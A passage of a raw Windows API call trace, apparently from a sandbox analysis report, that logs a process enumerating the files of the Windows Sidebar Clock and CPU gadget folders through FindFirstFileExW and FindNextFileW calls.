lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.967] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.967] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.967] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.967] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.967] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8439c2bc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8439c2bc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2855fdaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0244.970] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.970] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.970] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.970] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.970] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.970] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0244.971] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.972] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.972] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.972] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.972] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.972] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0244.973] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.973] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.973] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0244.974] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.974] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.974] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.974] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.974] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.974] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0244.975] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.975] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.975] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0244.975] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.975] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.975] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0244.976] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.977] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.977] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.978] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.978] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.978] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0245.006] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.007] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.007] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0245.008] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.008] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.008] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8439c2bc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8439c2bc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2855fdaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.009] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.009] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.009] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.009] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.009] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.009] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29088439, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.009] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.009] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.009] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.010] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.010] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.010] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0245.057] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.058] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.058] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.058] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.058] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.058] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0245.062] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.062] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.062] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0245.063] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.063] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.063] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.063] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.063] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.063] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0245.064] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.064] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.064] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0245.064] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.064] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.065] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0245.065] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.067] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.067] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.067] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.067] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.067] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, 